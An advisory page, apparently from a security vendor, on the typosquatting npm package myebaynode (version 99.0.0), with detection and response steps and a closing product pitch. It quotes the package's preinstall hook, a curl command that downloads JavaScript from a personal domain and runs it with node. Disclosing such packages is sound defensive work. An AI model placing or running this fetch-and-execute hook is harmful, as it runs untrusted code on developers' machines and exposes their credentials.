myebaynodenpm
Advisory published Updated
myebaynode is a confirmed malicious npm package (MAL-2026-6296) that typosquats a legitimate package to trick installs (malicious version 99.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in myebaynode (npm)
What this malware does
package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching JavaScript from an external, mutable, personal domain and immediately executing it under the installer's user account on npm install. The fetched payload is unpinned (no hash or signature verification), can be changed by the host's owner at any time, and runs with full filesystem and network access of the installing user. The package name 'myebaynode' with description 'Ebay Node Package', version 99.0.0, and minimal metadata (author 'aman', no repository) suggests brand-impersonation intended to lure developers searching for an eBay SDK.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for myebaynode (version 99.0.0).
If you installed it — respond
myebaynode is a typosquat — you almost certainly intended a legitimately-named package. Remove myebaynode, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If myebaynode was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- ReversingLabs · finder
Detect & block this
O3 blocks myebaynode-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.